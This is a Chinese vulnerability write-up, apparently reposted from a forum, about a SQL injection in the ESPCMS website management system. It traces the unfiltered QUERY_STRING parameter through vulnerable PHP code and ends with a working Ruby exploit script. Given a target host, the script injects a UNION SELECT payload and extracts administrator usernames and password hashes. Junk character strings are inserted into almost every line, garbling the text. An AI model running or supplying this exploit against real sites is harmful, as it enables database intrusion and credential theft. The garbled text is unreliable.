0×0 漏洞概述0×1 漏洞细节9 n9 R' a' l$ ^2 g
0×2 PoC
0 \4 D8 @5 A; } V
; ~/ y) w ]! `; F) B( O/ i
; H3 z/ J" L( J T7 G: N, H
- e2 b! [) o, n5 `0×0 漏洞概述# p) S) C6 K* p9 c; I: S/ L2 `
% t1 m5 M2 [8 ~: c
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
7 A8 W9 F |& V1 Y9 N其在处理传入的参数时考虑不严谨导致SQL注入发生) R1 C$ q2 D9 `7 t% C1 c
7 e4 I) Q& C9 }4 n! G7 j
5 W1 v9 e% l- }0 y4 x( O
0×1 漏洞细节7 f; w! P9 O; V
. g7 q& ^4 n% n5 i: ~: c, r/ w
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。8 C4 \( u4 e7 L, Y |5 R
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
. d, B, R; f7 P7 Y" Y而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。1 R. x) J, @# ]
' w/ ^; X6 ? X: z9 U* c' C6 I
在/interface/3gwap_search.php文件的in_result函数中:
! s( n" |6 z8 o8 _2 B8 W! T2 m3 T
, `. G/ V: R3 }; J
' U+ w7 f. ]# l
/ t x. M9 v, f% [4 \ function in_result() {0 B* y: O0 i! _9 r
... ... ... ... ... ... ... ... .../ Y' u/ q! W2 J2 S0 V
$urlcode = $_SERVER[ 'QUERY_STRING '];
& \0 U! ~$ Z( x% p parse_str(html_entity_decode($urlcode), $output);! R& }% G0 t* P* l M/ H$ P. R
9 J! v$ v0 E( q
... ... ... ... ... ... ... ... ...* L! H9 I5 F* k: R1 ~. z
if (is_array($output['attr' ]) && count($output['attr']) > 0) {* t; J& Z9 A$ Z0 z8 S s
, S9 S- {+ T+ ?" { ^: ]! f
$db_table = db_prefix . 'model_att';
9 R" a! P( S \. I! @& a [/ `0 E% x+ m# J7 Q) m8 L# d( n6 w- o- m
foreach ($output['attr' ] as $key => $value) {
8 m2 R2 e. l9 ] if ($value) {$ I, G% J) Y5 W7 h5 y9 ]/ f
- A* n# ]4 `, h, I/ X7 v% Z, Q
$key = addslashes($key);# b0 |; r1 Q4 {+ y( }; P" M
$key = $this-> fun->inputcodetrim($key);3 l6 y+ h1 O+ s* c% f3 q+ r7 A9 _7 _
$db_att_where = " WHERE isclass=1 AND attrname='$key'";( ?% N G0 D# X4 g8 J9 G6 E
$countnum = $this->db_numrows($db_table, $db_att_where);
7 W& h" L+ I% ^+ ~ if ($countnum > 0) {1 @: M0 z+ }7 W
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;' ^( c) F( z8 O8 }' r
}
8 T0 n# f6 j5 |' s+ X: m' W! o }2 T7 b5 k) B/ w
}9 o+ o# a6 e8 Y! r; t
}
, y3 Z# i+ | ~$ v. J. l" ~# o if (!empty ($keyword) && empty($keyname)) {
8 ^& U H5 G u $keyname = 'title';
, m( E* [: G. G+ B- K6 U' O $db_where.= " AND a.title like '%$keyword%'" ;% S2 G/ y4 F$ _4 _8 ]
} elseif (!empty ($keyword) && !empty($keyname)) {
. l3 B" T4 r/ I8 b& Y $db_where.= " AND $keyname like '% $keyword%'";
8 { x! `- X9 {; T+ i }9 }( o( u+ ]9 c+ r4 o1 ?
$pagemax = 15;
% {. s7 @9 s% I# X; Z' v v
- R: ?) ?3 R$ v $pagesylte = 1;3 Z: M( m' a& p4 Q
}: y) D. X* o% M, N
if ($countnum > 0) {
8 r/ s( G; _6 F- k# d" H* E
' o6 b1 {3 \8 O5 _" D. P $numpage = ceil($countnum / $pagemax);, D# V+ ~1 P4 d3 |* j
} else {
. I# M" J0 i2 P1 G x: Q! p $numpage = 1;
. @5 j3 O% }' H) T9 y q. G } I2 u" S' a4 l8 J/ \9 g+ T8 P
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax; L8 ?' h9 s N0 b( k
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
' t k& g$ C8 O; _6 A! O. `$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
8 @: X" b$ g5 k6 Y: V c" Z ... ... ... ... ... ... ... ... ...
1 u$ Q x7 h% J! X }5 @1 X: T9 |# s2 ]/ o O) L
& w0 X* K' A8 P I% G/ g
3 {# R0 n1 a) y; I4 w/ G1 _
0×2 PoC
3 ] v" k4 G) z8 ~1 R1 c5 Q( @3 F9 F4 ~7 h% R: Y* H( l/ R: z
3 U0 g- A6 a T; `7 o, n5 P& p/ N
& J* r1 M$ L! n! O: `# v6 e( Prequire "net/http"/ S: Z3 ?3 z. k1 a
* ^$ x" ]7 ]: I0 B5 n) a; Q( s( v
def request(method, url)# [% n/ a2 V Z
if method.eql?("get")
; j4 W' D3 V) X uri = URI.parse(url)
1 P* ~+ C" m; \( N8 g, } http = Net::HTTP.new(uri.host, uri.port)$ f! m' h1 p9 g; g/ g8 f& E. h5 ^2 P
response = http.request(Net::HTTP::Get.new(uri.request_uri))
# j% s1 A" ?; a4 Y) X, _. J' J return response
5 i i: f4 z% [/ Y. @% L end
% @2 ?, _/ W. x: S! z# \0 |end
* w$ c* V, B' \# u0 r# g! j, L5 p7 k: _1 p
doc =<<HERE0 {# E4 s4 g* s) G
-------------------------------------------------------, K5 v8 B3 g$ Z
Espcms Injection Exploit+ O, f# n( i# l
Author:ztz
. x+ @3 }# d' z* D( v0 L: _9 [Blog:http://ztz.fuzzexp.org/6 J! }) ~. {9 f t
-------------------------------------------------------
$ i; O0 d. I2 c1 z' ]* Q7 Z/ G' U. ^9 s) a
HERE
' }; @; r& j* B1 M$ j p# C2 ?+ [0 ?& [
usage =<<HERE
6 I l) h3 m% d: h2 h0 k" jUsage: ruby #{$0} host port path- E, [' N% k8 ?( f9 V
example: ruby #{$0} www.target.com 80 /- G$ H M4 ~! n/ M" w
HERE
' G5 u: G# _ _6 {6 w& E
[7 y! @" O1 l, q1 Xputs doc
% T3 ?0 V6 h m& J7 r! Q; b- O/ F4 Iif ARGV.length < 36 S6 }! o5 p" |
puts usage9 @1 s$ W; v# X9 U$ W
else3 x9 r( W" @& p" [9 h0 ~7 L
$host = ARGV[0]8 f; p8 ^" i `, h3 u( H( [- e$ r! W
$port = ARGV[1]
- M. b g, b" | o) [: @/ M( t $path = ARGV[2]+ A' }/ `3 f O( C1 N5 p2 ?$ L0 J$ ^" t
2 i7 w: l2 M% i3 u/ i6 r! l
puts "send request..."
3 I) b* N( \2 J. E1 Q$ R/ P url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
, _, i6 e" j; y; i; b1 pattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13 G9 j, P1 H# W/ [
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
7 X$ R6 H# v7 y0 ?) M,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
# k% V& G, }. u( D0 R2 E. C( h1 c+ D response = request("get", url)9 S, ?! x" q! U' K" j- x6 R% l
result = response.body.scan(/\w+&\w{32}/)
% _( a) H @" X' b puts result
: l' \! P7 j. Z1 H( Rend4 O2 b3 j" O; I+ ?6 {: H. J0 F H
0 o5 p2 F7 c& M
|